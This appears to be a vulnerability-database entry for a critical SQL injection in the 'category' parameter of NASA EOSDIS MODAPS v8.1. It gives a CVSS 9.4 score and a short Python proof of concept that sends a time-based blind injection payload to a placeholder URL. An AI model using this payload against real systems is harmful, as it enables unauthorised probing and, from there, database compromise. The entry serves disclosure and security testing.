NASA Earth Observing System Data and Information System (EOSDIS) MODAPS v8.1 was discovered to contain a SQL injection vulnerability in the category parameter
CVSS Details
CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Configurations (Affected Products)
No configuration data available.
NASA EOSDIS MODAPS v8.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Example, replace with actual vulnerable endpoint)
target_url = "https://example.com/modaps/vulnerable_endpoint"
# Vulnerable parameter: category
# Payload demonstrating time-based blind SQL injection
payload = "1' AND SLEEP(5)-- -"
params = {
"category": payload
}
try:
response = requests.get(target_url, params=params, timeout=10)
# Check if the response time indicates successful execution
if response.elapsed.total_seconds() >= 5:
print("[+] Vulnerability confirmed: SQL Injection in 'category' parameter.")
else:
print("[-] Vulnerability not detected or patched.")
except Exception as e:
print(f"Error occurred: {e}")